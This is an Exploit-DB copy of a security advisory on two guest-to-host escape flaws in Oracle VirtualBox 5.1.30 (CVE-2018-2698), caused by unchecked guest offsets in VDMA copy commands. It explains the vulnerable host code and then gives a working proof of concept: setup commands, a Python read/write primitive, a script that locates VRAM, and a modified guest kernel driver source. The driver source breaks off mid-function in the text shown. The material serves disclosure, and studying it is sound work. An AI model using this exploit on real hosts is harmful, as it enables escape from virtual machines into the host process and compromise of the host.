Oracle VirtualBox < 5.1.30 / < 5.2-rc1 - Guest to Host Escape

  • 作者: SecuriTeam
    日期: 2018-01-24
  • 类别:
    平台:
  • 来源:https://www.exploit-db.com/exploits/43878/
  • # SSD Advisory – Oracle VirtualBox Multiple Guest to Host Escape Vulnerabilities
    Source: https://blogs.securiteam.com/index.php/archives/3649
    
    ## Vulnerabilities summary
    The following advisory describes two (2) guest to host escape found in Oracle VirtualBox version 5.1.30, and VirtualBox version 5.2-rc1.
    
    ## Credit
    An independent security researcher, Niklas Baumstark, has reported this vulnerability to Beyond Security’s SecuriTeam Secure Disclosure program.
    
    ## Vendor response
    Oracle were informed of the vulnerabilities and released patches to address them.
    
    For more details: http://www.oracle.com/technetwork/security-advisory/cpujan2018-3236628.html
    
    CVE: CVE-2018-2698
    
    ## Vulnerabilities details
    The vulnerabilities found in the core graphics framework (VBVA subcomponent) and affect all host operating systems.
    
    provide an arbitrary read/write primitive in the userland VirtualBox host rocess, relative to the guest’s VRAM buffer.
    
    The VGA device emulated by VirtualBox is associated with a certain amount of VRAM, which is mapped contiguously in both the host process running the VM and in guest kernel memory.
    
    Parts of it are used as general-purpose shared memory segment for communication between the host and guest (host-guest shared memory interface, HGSMI).
    
    Using this mechanism, the guest can issue certain commands to the host, for example to implement the mouse pointer integration and seamless windows features.
    
    The guest can also tell the host to copy data around inside the VRAM on its behalf, via a subsystem called VDMA.
    
    ## Out-of-bounds read/write in vboxVDMACmdExecBpbTransfer
    The VBOXVDMACMD_DMA_BPB_TRANSFER command struct looks as follows (defined in include/VBox/VBoxVideo.h:1435):
    
    ```
    typedef struct VBOXVDMACMD_DMA_BPB_TRANSFER
    {
    uint32_t cbTransferSize;
    uint32_t fFlags;
    union
    {
    uint64_t phBuf;
    VBOXVIDEOOFFSET offVramBuf;
    } Src;
    union
    {
    uint64_t phBuf;
    VBOXVIDEOOFFSET offVramBuf;
    } Dst;
    } VBOXVDMACMD_DMA_BPB_TRANSFER, *PVBOXVDMACMD_DMA_BPB_TRANSFER;
    ```
    
    When issuing a VDMA command of type VBOXVDMACMD_TYPE_DMA_BPB_TRANSFER, a request object of this type resides in the HGSMI heap and is completely controlled by the guest.
    
    On the host, a pointer to the object is eventually passed to the following function inside the file src/VBox/Devices/Graphics/DevVGA_VDMA.cpp:
    
    
    ```
    static int vboxVDMACmdExecBpbTransfer(PVBOXVDMAHOST pVdma, const PVBOXVDMACMD_DMA_BPB_TRANSFER pTransfer, uint32_t cbBuffer)
    {
    // ...
    uint32_t cbTransfer = pTransfer->cbTransferSize;
    uint32_t cbTransfered = 0;
    // ...
    do
    {
    uint32_t cbSubTransfer = cbTransfer;
    if (pTransfer->fFlags & VBOXVDMACMD_DMA_BPB_TRANSFER_F_SRC_VRAMOFFSET)
    {
    // [[ Note 1 ]]
    pvSrc= pvRam + pTransfer->Src.offVramBuf + cbTransfered;
    }
    else
    {
    // ...
    }
    
    if (pTransfer->fFlags & VBOXVDMACMD_DMA_BPB_TRANSFER_F_DST_VRAMOFFSET)
    {
    // [[ Note 2 ]]
    pvDst= pvRam + pTransfer->Dst.offVramBuf + cbTransfered;
    }
    else
    {
    // ...
    }
    
    if (RT_SUCCESS(rc))
    {
    memcpy(pvDst, pvSrc, cbSubTransfer);
    cbTransfer -= cbSubTransfer;
    cbTransfered += cbSubTransfer;
    }
    else
    {
    cbTransfer = 0; /* to break */
    }
    // ...
    } while (cbTransfer);
    
    if (RT_SUCCESS(rc))
    return sizeof (*pTransfer);
    return rc;
    }
    ```
    
    Note 1 and 2: the guest-controlled offsets pTransfer->Src.offVramBuf and pTransfer->Dst.offVramBuf are added to the VRAM address, without any verification or bounds checks.
    
    A memcpy is then performed with the guest-controlled size pTransfer->cbTransferSize.
    
    This gives us a memcpy(VRAM + X, VRAM + Y, Z) primitive, where we (as the guest)can chose X, Y and Z arbitrarily.
    
    ## Out-of-bounds read/write in vboxVDMACmdExecBlt
    
    The VBOXVDMACMD_DMA_PRESENT_BLT command struct looks as follows:
    
    
    ```
    typedef uint64_t VBOXVIDEOOFFSET;
    /* [...] */
    typedef struct VBOXVDMACMD_DMA_PRESENT_BLT
    {
    VBOXVIDEOOFFSET offSrc;
    VBOXVIDEOOFFSET offDst;
    VBOXVDMA_SURF_DESC srcDesc;
    VBOXVDMA_SURF_DESC dstDesc;
    VBOXVDMA_RECTL srcRectl;
    VBOXVDMA_RECTL dstRectl;
    uint32_t u32Reserved;
    uint32_t cDstSubRects;
    VBOXVDMA_RECTL aDstSubRects[1];
    } VBOXVDMACMD_DMA_PRESENT_BLT, *PVBOXVDMACMD_DMA_PRESENT_BLT;
    ```
    
    When issuing a VDMA command of type VBOXVDMACMD_TYPE_DMA_PRESENT_BLT, a request object of this type resides in the HGSMI heap and is completely controlled by the guest.
    
    On the host, a pointer to the object is eventually passed to the following function inside the file src/VBox/Devices/Graphics/DevVGA_VDMA.cpp:
    
    
    ```
    static int vboxVDMACmdExecBlt(PVBOXVDMAHOST pVdma, const PVBOXVDMACMD_DMA_PRESENT_BLT pBlt, uint32_t cbBuffer)
    {
    const uint32_t cbBlt = VBOXVDMACMD_BODY_FIELD_OFFSET(uint32_t, VBOXVDMACMD_DMA_PRESENT_BLT, aDstSubRects[pBlt->cDstSubRects]);
    Assert(cbBlt <= cbBuffer);
    if (cbBuffer < cbBlt)
    return VERR_INVALID_FUNCTION;
    
    /* we do not support stretching for now */
    Assert(pBlt->srcRectl.width == pBlt->dstRectl.width);
    Assert(pBlt->srcRectl.height == pBlt->dstRectl.height);
    if (pBlt->srcRectl.width != pBlt->dstRectl.width)
    return VERR_INVALID_FUNCTION;
    if (pBlt->srcRectl.height != pBlt->dstRectl.height)
    return VERR_INVALID_FUNCTION;
    Assert(pBlt->cDstSubRects);/* [[ Note 2 ]] */
    
    uint8_t * pvRam = pVdma->pVGAState->vram_ptrR3;
    VBOXVDMA_RECTL updateRectl = {0, 0, 0, 0};
    
    if (pBlt->cDstSubRects)
    {
    /* [...] */
    }
    else
    {
    /* [[ Note 1 ]] */
    int rc = vboxVDMACmdExecBltPerform(pVdma, pvRam + pBlt->offDst, pvRam + pBlt->offSrc,
    &pBlt->dstDesc, &pBlt->srcDesc,
    &pBlt->dstRectl,
    &pBlt->srcRectl);
    AssertRC(rc);
    if (!RT_SUCCESS(rc))
    return rc;
    
    vboxVDMARectlUnite(&updateRectl, &pBlt->dstRectl);
    }
    
    return cbBlt;
    }
    ```
    
    At Note 1, the guest-controlled offsets pBlt->offDst and pBlt->offSrc I added to the VRAM address, without any verification. Note that the assert at Note 2 is not active in production builds, so we can reach the else-branch.
    
    vboxVDMACmdExecBltPerform then performs a memcpy between the computed addresses:
    
    
    ```
    static int vboxVDMACmdExecBltPerform(PVBOXVDMAHOST pVdma, uint8_t *pvDstSurf, const uint8_t *pvSrcSurf,
    const PVBOXVDMA_SURF_DESC pDstDesc, const PVBOXVDMA_SURF_DESC pSrcDesc,
    const VBOXVDMA_RECTL * pDstRectl, const VBOXVDMA_RECTL * pSrcRectl)
    {
    /* [...] /*
    if (pDstDesc->width == pDstRectl->width
    && pSrcDesc->width == pSrcRectl->width
    && pSrcDesc->width == pDstDesc->width)
    {
    Assert(!pDstRectl->left);
    Assert(!pSrcRectl->left);
    uint32_t cbOff = pDstDesc->pitch * pDstRectl->top;
    uint32_t cbSize = pDstDesc->pitch * pDstRectl->height;
    memcpy(pvDstSurf + cbOff, pvSrcSurf + cbOff, cbSize);
    }
    else
    {
    /* [...] /*
    }
    return VINF_SUCCESS;
    }
    ```
    
    By setting pDstDesc->pitch = 1, pDstRectl->top = 0, we can get cbOff = 0 and cbSize = pDstRectl->height (which we also control as the guest).
    
    This ends up in a call to memcpy(VRAM + X, VRAM + Y, Z), where we can chose X, Y and Z arbitrarily.
    
    ## Proof of Concept
    
    We will modified vboxvideo kernel module to trigger the bug.
    
    The modified module will allow us to creates a device /dev/vboxpwn which can be used to send arbitrary VBVA commands via its ioctl() handler.
    
    In this PoC we will use 64-bit Ubuntu VM.
    
    First we will download the VBoxGuestAdditions:
    
    
    ```
    $ wget http://download.virtualbox.org/virtualbox/5.1.30/VBoxGuestAdditions_5.1.30.iso
    $ sudo mount -o loop -t iso9660 VBoxGuestAdditions_5.1.30.iso /mnt
    $ sudo /mnt/VBoxLinuxAdditions.run
    ```
    
    Then we will upload the modified files – HGSMIBase.c and 70-vboxpwn.rules to the home directory of the VM and rebuild the extensions with the modified code:
    
    ```
    $ sudo cp 70-vboxpwn.rules /etc/udev/rules.d
    $ sudo cp HGSMIBase.c /usr/src/vboxguest-5.1.30/vboxvideo
    $ sudo /mnt/VBoxLinuxAdditions.run --keep --target additions --noexec
    $ sudo additions/vboxadd setup
    $ sudo reboot
    ```
    
    There should now be a new device called /dev/vboxpwn with 0666 permissions.
    
    Now create the following Python script called poc.py:
    
    ```
    import os, fcntl, struct, array, sys
    
    fd = os.open('/dev/vboxpwn', os.O_NONBLOCK | os.O_RDWR)
    
    # 4/5 = BPB_TRANSFER primitive, 1/2 = PRESENT_BLT primitive
    read_type = 4
    write_type = 5
    
    def read(offset, size):
    data = ''
    data += struct.pack("<IIq", 4, size, offset)
    data += '\0'*size
    data = array.array('b', data)
    fcntl.ioctl(fd, len(data), data, 1)
    return data[16:]
    
    def write(offset, payload):
    data = ''
    data += struct.pack("<IIq", 5, len(payload), offset)
    data += payload
    fcntl.ioctl(fd, len(data), data)
    
    def get_vram_size():
    data = ''
    data += struct.pack("<IIq", 6, 0, 0)
    data += '\0'*4
    data = array.array('b', data)
    fcntl.ioctl(fd, len(data), data)
    return struct.unpack('<I', data[16:])[0]
    
    vram_sz = get_vram_size()
    
    import code
    code.interact(local=locals())
    ```
    
    If we will run it on a Linux host we will get the following:
    
    ```
    $ python2 poc.py
    [...]
    >>> read(0, 0x10).tostring()
    'U,\\fU,\\fU,\\fU,\\f'
    >>> read(vram_sz, 0x10).tostring()
    '\x7fELF\x02\x01\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00'
    >>> read(-0x1000, 0x10).tostring()
    '\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00'
    ```
    
    The second read returns the header of the shared library mapped directly after the VRAM.
    
    Of course we might crash the VM if we hit unmapped memory.
    
    For demonstrating an absolute read/write, we need the VRAM base address on the host.
    
    The findvram.py script find the VRAM base address – given the configured VRAM size.
    
    In our case the VRAM is 33 MiB large.
    
    The first argument is the PID of the host process (as shown above).
    
    Also grab some absolute address you want to leak:
    
    ```
    $ sudo python2 findvram.py 23791 33
    VRAM @ 0x00007f1651c75000
    $ sudo cat /proc/23791/maps | grep libcurl | head -n 1
    7f168969c000-7f1689716000 r-xp 00000000 00:15 9032634/usr/lib/libcurl.so.4.4.0
    ```
    
    Back to the VM, we will read the ELF header of this library:
    
    ```
     $ python2 poc.py
    [...]
    >>> vram = 0x00007f1651c75000
    >>> read(0x7f168969c000 - vram, 0x10).tostring()
    '\x7fELF\x02\x01\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00'
    ```
    
    And now we will crash it by writing data to an unmapped address (make sure a debugger is attached):
    
    ```
    >>> write(0x414141414141 - vram, 'BBBB')
    ```
    
    The crash:
    
    ```
    Thread 7 "EMT" received signal SIGSEGV, Segmentation fault.
    [Switching to Thread 0x7f1680b8e700 (LWP 23801)]
    0x00007f168a87172a in __memmove_avx_unaligned_erms () from /usr/lib/libc.so.6
    (gdb) x/1i $rip
    => 0x7f168a87172a <__memmove_avx_unaligned_erms+154>: mov%ecx,-0x4(%rdi,%rdx,1)
    (gdb) i r ecx rdi rdx
    ecx0x42424242 1111638594
    rdi0x414141414141 71748523475265
    rdx0x44
    ```
    
    findvram.py
    
    ```
    import sys
    
    if len(sys.argv) != 3:
    print 'Usage: sudo python2 findvram.py <pid> <VRAM size in MB>'
    print
    print 'Finds the VRAM page on a Linux host by inspecting /proc/<pid>/maps and '
    print 'looking for a properly sized map. Works best if an odd amount of VRAM is'
    print 'configured, like 33 MB instead of 32.'
    exit()
    
    pid = int(sys.argv[1])
    sz = int(sys.argv[2])*1024*1024
    
    with open('/proc/%d/maps'%pid) as f:
    for line in f:
    start, end = [int(x,16) for x in line.split()[0].split('-')]
    if end-start == sz:
    print 'VRAM @ 0x%016x - 0x%016x' % (start, end)
    ```
    
    70-vboxpwn.rules
    
    ```
    KERNEL=="vboxpwn", NAME="vboxpwn", OWNER="vboxadd", MODE="0666"
    ```
    
    HGSMIBase.c
    
    ```
    /* $Id: HGSMIBase.cpp $ */
    /** @file
     * VirtualBox Video driver, common code - HGSMI initialisation and helper
     * functions.
     */
    
    /*
     * Copyright (C) 2006-2016 Oracle Corporation
     *
     * This file is part of VirtualBox Open Source Edition (OSE), as
     * available from http://www.virtualbox.org. This file is free software;
     * you can redistribute it and/or modify it under the terms of the GNU
     * General Public License (GPL) as published by the Free Software
     * Foundation, in version 2 as it comes in the "COPYING" file of the
     * VirtualBox OSE distribution. VirtualBox OSE is distributed in the
     * hope that it will be useful, but WITHOUT ANY WARRANTY of any kind.
     */
    
    #include <VBox/VBoxVideoGuest.h>
    #include <VBox/VBoxVideo.h>
    #include <VBox/VBoxGuest.h>
    #include <VBox/Hardware/VBoxVideoVBE.h>
    #include <VBox/VMMDev.h>
    
    #include <iprt/asm.h>
    #include <iprt/log.h>
    #include <iprt/string.h>
    
    #include <linux/printk.h>
    #include <linux/miscdevice.h>
    #include <linux/uaccess.h>
    #include <linux/slab.h>
    
    /** Send completion notification to the host for the command located at offset
     * @a offt into the host command buffer. */
    static void HGSMINotifyHostCmdComplete(PHGSMIHOSTCOMMANDCONTEXT pCtx, HGSMIOFFSET offt)
    {
    VBoxVideoCmnPortWriteUlong(pCtx->port, offt);
    }
    
    
    /**
     * Inform the host that a command has been handled.
     *
     * @parampCtx the context containing the heap to be used
     * @parampvMempointer into the heap as mapped in @a pCtx to the command to
     *be completed
     */
    DECLHIDDEN(void) VBoxHGSMIHostCmdComplete(PHGSMIHOSTCOMMANDCONTEXT pCtx,
    void *pvMem)
    {
    HGSMIBUFFERHEADER *pHdr = HGSMIBufferHeaderFromData(pvMem);
    HGSMIOFFSET offMem = HGSMIPointerToOffset(&pCtx->areaCtx, pHdr);
    Assert(offMem != HGSMIOFFSET_VOID);
    if(offMem != HGSMIOFFSET_VOID)
    {
    HGSMINotifyHostCmdComplete(pCtx, offMem);
    }
    }
    
    
    /** Submit an incoming host command to the appropriate handler. */
    static void hgsmiHostCmdProcess(PHGSMIHOSTCOMMANDCONTEXT pCtx,
    HGSMIOFFSET offBuffer)
    {
    int rc = HGSMIBufferProcess(&pCtx->areaCtx, &pCtx->channels, offBuffer);
    Assert(!RT_FAILURE(rc));
    if(RT_FAILURE(rc))
    {
    /* failure means the command was not submitted to the handler for some reason
     * it's our responsibility to notify its completion in this case */
    HGSMINotifyHostCmdComplete(pCtx, offBuffer);
    }
    /* if the cmd succeeded it's responsibility of the callback to complete it */
    }
    
    /** Get the next command from the host. */
    static HGSMIOFFSET hgsmiGetHostBuffer(PHGSMIHOSTCOMMANDCONTEXT pCtx)
    {
    return VBoxVideoCmnPortReadUlong(pCtx->port);
    }
    
    
    /** Get and handle the next command from the host. */
    static void hgsmiHostCommandQueryProcess(PHGSMIHOSTCOMMANDCONTEXT pCtx)
    {
    HGSMIOFFSET offset = hgsmiGetHostBuffer(pCtx);
    AssertReturnVoid(offset != HGSMIOFFSET_VOID);
    hgsmiHostCmdProcess(pCtx, offset);
    }
    
    
    /** Drain the host command queue. */
    DECLHIDDEN(void) VBoxHGSMIProcessHostQueue(PHGSMIHOSTCOMMANDCONTEXT pCtx)
    {
    while (pCtx->pfHostFlags->u32HostFlags & HGSMIHOSTFLAGS_COMMANDS_PENDING)
    {
    if (!ASMAtomicCmpXchgBool(&pCtx->fHostCmdProcessing, true, false))
    return;
    hgsmiHostCommandQueryProcess(pCtx);
    ASMAtomicWriteBool(&pCtx->fHostCmdProcessing, false);
    }
    }
    
    
    /** Detect whether HGSMI is supported by the host. */
    DECLHIDDEN(bool) VBoxHGSMIIsSupported(void)
    {
    uint16_t DispiId;
    
    VBoxVideoCmnPortWriteUshort(VBE_DISPI_IOPORT_INDEX, VBE_DISPI_INDEX_ID);
    VBoxVideoCmnPortWriteUshort(VBE_DISPI_IOPORT_DATA, VBE_DISPI_ID_HGSMI);
    
    DispiId = VBoxVideoCmnPortReadUshort(VBE_DISPI_IOPORT_DATA);
    
    return (DispiId == VBE_DISPI_ID_HGSMI);
    }
    
    
    /**
     * Allocate and initialise a command descriptor in the guest heap for a
     * guest-to-host command.
     *
     * @returnspointer to the descriptor's command data buffer
     * @parampCtx the context containing the heap to be used
     * @paramcbData the size of the command data to go into the descriptor
     * @paramu8Ch the HGSMI channel to be used, set to the descriptor
     * @paramu16Opthe HGSMI command to be sent, set to the descriptor
     */
    DECLHIDDEN(void *) VBoxHGSMIBufferAlloc(PHGSMIGUESTCOMMANDCONTEXT pCtx,
    HGSMISIZE cbData,
    uint8_t u8Ch,
    uint16_t u16Op)
    {
    #ifdef VBOX_WDDM_MINIPORT
    return VBoxSHGSMIHeapAlloc (&pCtx->heapCtx, cbData, u8Ch, u16Op);
    #else
    return HGSMIHeapAlloc (&pCtx->heapCtx, cbData, u8Ch, u16Op);
    #endif
    }
    
    
    /**
     * Free a descriptor allocated by @a VBoxHGSMIBufferAlloc.
     *
     * @parampCtxthe context containing the heap used
     * @parampvBufferthe pointer returned by @a VBoxHGSMIBufferAlloc
     */
    DECLHIDDEN(void) VBoxHGSMIBufferFree(PHGSMIGUESTCOMMANDCONTEXT pCtx,
     void *pvBuffer)
    {
    #ifdef VBOX_WDDM_MINIPORT
    VBoxSHGSMIHeapFree (&pCtx->heapCtx, pvBuffer);
    #else
    HGSMIHeapFree (&pCtx->heapCtx, pvBuffer);
    #endif
    }
    
    
    /**
     * Submit a command descriptor allocated by @a VBoxHGSMIBufferAlloc.
     *
     * @parampCtxthe context containing the heap used
     * @parampvBufferthe pointer returned by @a VBoxHGSMIBufferAlloc
     */
    DECLHIDDEN(int) VBoxHGSMIBufferSubmit(PHGSMIGUESTCOMMANDCONTEXT pCtx,
    void *pvBuffer)
    {
    /* Initialize the buffer and get the offset for port IO. */
    HGSMIOFFSET offBuffer = HGSMIHeapBufferOffset (HGSMIGUESTCMDHEAP_GET(&pCtx->heapCtx), pvBuffer);
    
    Assert(offBuffer != HGSMIOFFSET_VOID);
    if (offBuffer != HGSMIOFFSET_VOID)
    {
    /* Submit the buffer to the host. */
    VBoxVideoCmnPortWriteUlong(pCtx->port, offBuffer);
    /* Make the compiler aware that the host has changed memory. */
    ASMCompilerBarrier();
    return VINF_SUCCESS;
    }
    
    return VERR_INVALID_PARAMETER;
    }
    
    
    /** Inform the host of the location of the host flags in VRAM via an HGSMI
     * command. */
    static int vboxHGSMIReportFlagsLocation(PHGSMIGUESTCOMMANDCONTEXT pCtx,
    HGSMIOFFSET offLocation)
    {
    HGSMIBUFFERLOCATION *p;
    int rc = VINF_SUCCESS;
    
    /* Allocate the IO buffer. */
    p = (HGSMIBUFFERLOCATION *)VBoxHGSMIBufferAlloc(pCtx,
    sizeof(HGSMIBUFFERLOCATION),
    HGSMI_CH_HGSMI,
    HGSMI_CC_HOST_FLAGS_LOCATION);
    if (p)
    {
    /* Prepare data to be sent to the host. */
    p->offLocation = offLocation;
    p->cbLocation= sizeof(HGSMIHOSTFLAGS);
    rc = VBoxHGSMIBufferSubmit(pCtx, p);
    /* Free the IO buffer. */
    VBoxHGSMIBufferFree(pCtx, p);
    }
    else
    rc = VERR_NO_MEMORY;
    return rc;
    }
    
    
    /**
     * Inform the host of the location of the host flags in VRAM via an HGSMI
     * command.
     * @returnsIPRT status value.
     * @returnsVERR_NOT_IMPLEMENTEDif the host does not support the command.
     * @returnsVERR_NO_MEMORYif a heap allocation fails.
     * @parampCtxthe context of the guest heap to use.
     * @paramoffLocation the offset chosen for the flags withing guest
     * VRAM.
     */
    DECLHIDDEN(int) VBoxHGSMIReportFlagsLocation(PHGSMIGUESTCOMMANDCONTEXT pCtx,
     HGSMIOFFSET offLocation)
    {
    return vboxHGSMIReportFlagsLocation(pCtx, offLocation);
    }
    
    
    /** Notify the host of HGSMI-related guest capabilities via an HGSMI command.
     */
    static int vboxHGSMISendCapsInfo(PHGSMIGUESTCOMMANDCONTEXT pCtx,
     uint32_t fCaps)
    {
    VBVACAPS *pCaps;
    int rc = VINF_SUCCESS;
    
    /* Allocate the IO buffer. */
    pCaps = (VBVACAPS *)VBoxHGSMIBufferAlloc(pCtx,
     sizeof(VBVACAPS), HGSMI_CH_VBVA,
     VBVA_INFO_CAPS);
    
    if (pCaps)
    {
    /* Prepare data to be sent to the host. */
    pCaps->rc= VERR_NOT_IMPLEMENTED;
    pCaps->fCaps = fCaps;
    rc = VBoxHGSMIBufferSubmit(pCtx, pCaps);
    if (RT_SUCCESS(rc))
    {
    AssertRC(pCaps->rc);
    rc = pCaps->rc;
    }
    /* Free the IO buffer. */
    VBoxHGSMIBufferFree(pCtx, pCaps);
    }
    else
    rc = VERR_NO_MEMORY;
    return rc;
    }
    
    
    /**
     * Notify the host of HGSMI-related guest capabilities via an HGSMI command.
     * @returnsIPRT status value.
     * @returnsVERR_NOT_IMPLEMENTEDif the host does not support the command.
     * @returnsVERR_NO_MEMORYif a heap allocation fails.
     * @parampCtxthe context of the guest heap to use.
     * @paramfCaps the capabilities to report, see VBVACAPS.
     */
    DECLHIDDEN(int) VBoxHGSMISendCapsInfo(PHGSMIGUESTCOMMANDCONTEXT pCtx,
    uint32_t fCaps)
    {
    return vboxHGSMISendCapsInfo(pCtx, fCaps);
    }
    
    
    /** Tell the host about the location of the area of VRAM set aside for the host
     * heap. */
    static int vboxHGSMIReportHostArea(PHGSMIGUESTCOMMANDCONTEXT pCtx,
     uint32_t u32AreaOffset, uint32_t u32AreaSize)
    {
    VBVAINFOHEAP *p;
    int rc = VINF_SUCCESS;
    
    /* Allocate the IO buffer. */
    p = (VBVAINFOHEAP *)VBoxHGSMIBufferAlloc(pCtx,
     sizeof (VBVAINFOHEAP), HGSMI_CH_VBVA,
     VBVA_INFO_HEAP);
    if (p)
    {
    /* Prepare data to be sent to the host. */
    p->u32HeapOffset = u32AreaOffset;
    p->u32HeapSize = u32AreaSize;
    rc = VBoxHGSMIBufferSubmit(pCtx, p);
    /* Free the IO buffer. */
    VBoxHGSMIBufferFree(pCtx, p);
    }
    else
    rc = VERR_NO_MEMORY;
    return rc;
    }
    
    
    /**
     * Get the information needed to map the basic communication structures in
     * device memory into our address space.All pointer parameters are optional.
     *
     * @paramcbVRAM how much video RAM is allocated to the device
     * @parampoffVRAMBaseMappingwhere to save the offset from the start of the
     *device VRAM of the whole area to map
     * @parampcbMapping where to save the mapping size
     * @parampoffGuestHeapMemorywhere to save the offset into the mapped area
     *of the guest heap backing memory
     * @parampcbGuestHeapMemory where to save the size of the guest heap
     *backing memory
     * @parampoffHostFlagswhere to save the offset into the mapped area
     *of the host flags
     */
    DECLHIDDEN(void) VBoxHGSMIGetBaseMappingInfo(uint32_t cbVRAM,
     uint32_t *poffVRAMBaseMapping,
     uint32_t *pcbMapping,
     uint32_t *poffGuestHeapMemory,
     uint32_t *pcbGuestHeapMemory,
     uint32_t *poffHostFlags)
    {
    AssertPtrNullReturnVoid(poffVRAMBaseMapping);
    AssertPtrNullReturnVoid(pcbMapping);
    AssertPtrNullReturnVoid(poffGuestHeapMemory);
    AssertPtrNullReturnVoid(pcbGuestHeapMemory);
    AssertPtrNullReturnVoid(poffHostFlags);
    if (poffVRAMBaseMapping)
    *poffVRAMBaseMapping = cbVRAM - VBVA_ADAPTER_INFORMATION_SIZE;
    if (pcbMapping)
    *pcbMapping = VBVA_ADAPTER_INFORMATION_SIZE;
    if (poffGuestHeapMemory)
    *poffGuestHeapMemory = 0;
    if (pcbGuestHeapMemory)
    *pcbGuestHeapMemory = VBVA_ADAPTER_INFORMATION_SIZE
    - sizeof(HGSMIHOSTFLAGS);
    if (poffHostFlags)
    *poffHostFlags = VBVA_ADAPTER_INFORMATION_SIZE
     - sizeof(HGSMIHOSTFLAGS);
    }
    
    
    typedef struct VBOXVDMACBUF_DR
    {
    uint16_t fFlags;
    uint16_t cbBuf;
    /* RT_SUCCESS() - on success
     * VERR_INTERRUPTED - on preemption
     * VERR_xxx - on error */
    int32_trc;
    union
    {
    uint64_t phBuf;
    VBOXVIDEOOFFSET offVramBuf;
    } Location;
    uint64_t aGuestData[7];
    } VBOXVDMACBUF_DR, *PVBOXVDMACBUF_DR;
    
    typedef struct VBOXVDMACMD
    {
    VBOXVDMACMD_TYPE enmType;
    uint32_t u32CmdSpecific;
    } VBOXVDMACMD, *PVBOXVDMACMD;
    
    // Data structures for BPB_TRANSFER
    typedef struct VBOXVDMACMD_DMA_BPB_TRANSFER
    {
    uint32_t cbTransferSize;
    uint32_t fFlags;
    union
    {
    uint64_t phBuf;
    VBOXVIDEOOFFSET offVramBuf;
    } Src;
    union
    {
    uint64_t phBuf;
    VBOXVIDEOOFFSET offVramBuf;
    } Dst;
    } VBOXVDMACMD_DMA_BPB_TRANSFER, *PVBOXVDMACMD_DMA_BPB_TRANSFER;
    
    // Data structures for PRESENT_BLT
    typedef enum
    {
    VBOXVDMA_PIXEL_FORMAT_UNKNOWN=0,
    VBOXVDMA_PIXEL_FORMAT_R8G8B8 = 20,
    VBOXVDMA_PIXEL_FORMAT_A8R8G8B8 = 21,
    VBOXVDMA_PIXEL_FORMAT_X8R8G8B8 = 22,
    VBOXVDMA_PIXEL_FORMAT_R5G6B5 = 23,
    VBOXVDMA_PIXEL_FORMAT_X1R5G5B5 = 24,
    VBOXVDMA_PIXEL_FORMAT_A1R5G5B5 = 25,
    VBOXVDMA_PIXEL_FORMAT_A4R4G4B4 = 26,
    VBOXVDMA_PIXEL_FORMAT_R3G3B2 = 27,
    VBOXVDMA_PIXEL_FORMAT_A8 = 28,
    VBOXVDMA_PIXEL_FORMAT_A8R3G3B2 = 29,
    VBOXVDMA_PIXEL_FORMAT_X4R4G4B4 = 30,
    VBOXVDMA_PIXEL_FORMAT_A2B10G10R10= 31,
    VBOXVDMA_PIXEL_FORMAT_A8B8G8R8 = 32,
    VBOXVDMA_PIXEL_FORMAT_X8B8G8R8 = 33,
    VBOXVDMA_PIXEL_FORMAT_G16R16 = 34,
    VBOXVDMA_PIXEL_FORMAT_A2R10G10B10= 35,
    VBOXVDMA_PIXEL_FORMAT_A16B16G16R16 = 36,
    VBOXVDMA_PIXEL_FORMAT_A8P8 = 40,
    VBOXVDMA_PIXEL_FORMAT_P8 = 41,
    VBOXVDMA_PIXEL_FORMAT_L8 = 50,
    VBOXVDMA_PIXEL_FORMAT_A8L8 = 51,
    VBOXVDMA_PIXEL_FORMAT_A4L4 = 52,
    VBOXVDMA_PIXEL_FORMAT_V8U8 = 60,
    VBOXVDMA_PIXEL_FORMAT_L6V5U5 = 61,
    VBOXVDMA_PIXEL_FORMAT_X8L8V8U8 = 62,
    VBOXVDMA_PIXEL_FORMAT_Q8W8V8U8 = 63,
    VBOXVDMA_PIXEL_FORMAT_V16U16 = 64,
    VBOXVDMA_PIXEL_FORMAT_W11V11U10= 65,
    VBOXVDMA_PIXEL_FORMAT_A2W10V10U10= 67
    } VBOXVDMA_PIXEL_FORMAT;
    
    typedef struct VBOXVDMA_SURF_DESC
    {
    uint32_t width;
    uint32_t height;
    VBOXVDMA_PIXEL_FORMAT format;
    uint32_t bpp;
    uint32_t pitch;
    uint32_t fFlags;
    } VBOXVDMA_SURF_DESC, *PVBOXVDMA_SURF_DESC;
    
    typedef struct VBOXVDMA_RECTL
    {
    int16_t left;
    int16_t top;
    uint16_t width;
    uint16_t height;
    } VBOXVDMA_RECTL, *PVBOXVDMA_RECTL;
    
    typedef struct VBOXVDMACMD_DMA_PRESENT_BLT
    {
    VBOXVIDEOOFFSET offSrc;
    VBOXVIDEOOFFSET offDst;
    VBOXVDMA_SURF_DESC srcDesc;
    VBOXVDMA_SURF_DESC dstDesc;
    VBOXVDMA_RECTL srcRectl;
    VBOXVDMA_RECTL dstRectl;
    uint32_t u32Reserved;
    uint32_t cDstSubRects;
    VBOXVDMA_RECTL aDstSubRects[1];
    } VBOXVDMACMD_DMA_PRESENT_BLT, *PVBOXVDMACMD_DMA_PRESENT_BLT;
    
    
    PHGSMIGUESTCOMMANDCONTEXT g_hgsmiContext;
    char* g_vram;
    
    typedef struct PwnRequest {
    uint32_t type; // 1/4 == read, 2/5 == write, 3 == custom VBVA command,
     // 6 == get VRAM size
    uint32_t size;
    uint64_t offset;
    char data[1];
    } PwnRequest;
    
    static long pwnIOCtl(struct file *pFilp, unsigned int uCmd, unsigned long ulArg) {
    printk("Handling ioctl()\n");
    uint32_t size = uCmd;
    PwnRequest* req = (PwnRequest*)ulArg;
    
    if (size < 16) {
    printk("Request buffer too small (is=%d)\n", size);
    return -EINVAL;
    }
    
    if (req->type == 1) {
    char *p;
    printk("Preparing VMDA command for reading %u bytes (offset=%lu).\n", req->size, req->offset);
    
    uint32_t header_size =
    32 +
    sizeof(VBOXVDMACBUF_DR) +
    sizeof(VBOXVDMACMD) +
    sizeof(VBOXVDMACMD_DMA_PRESENT_BLT);
    
    p = (char *)VBoxHGSMIBufferAlloc(g_hgsmiContext,
     header_size + req->size,
     HGSMI_CH_VBVA,
     11 /*VBVA_VDMA_CMD*/);
    if (!p) {
    printk("Failed to allocate HGSMI memory\n");
    return -ENOMEM;
    }
    
    memset(p + header_size, 0x41, req->size);
    
    PVBOXVDMACBUF_DR pCmd = (PVBOXVDMACBUF_DR)(p+32);
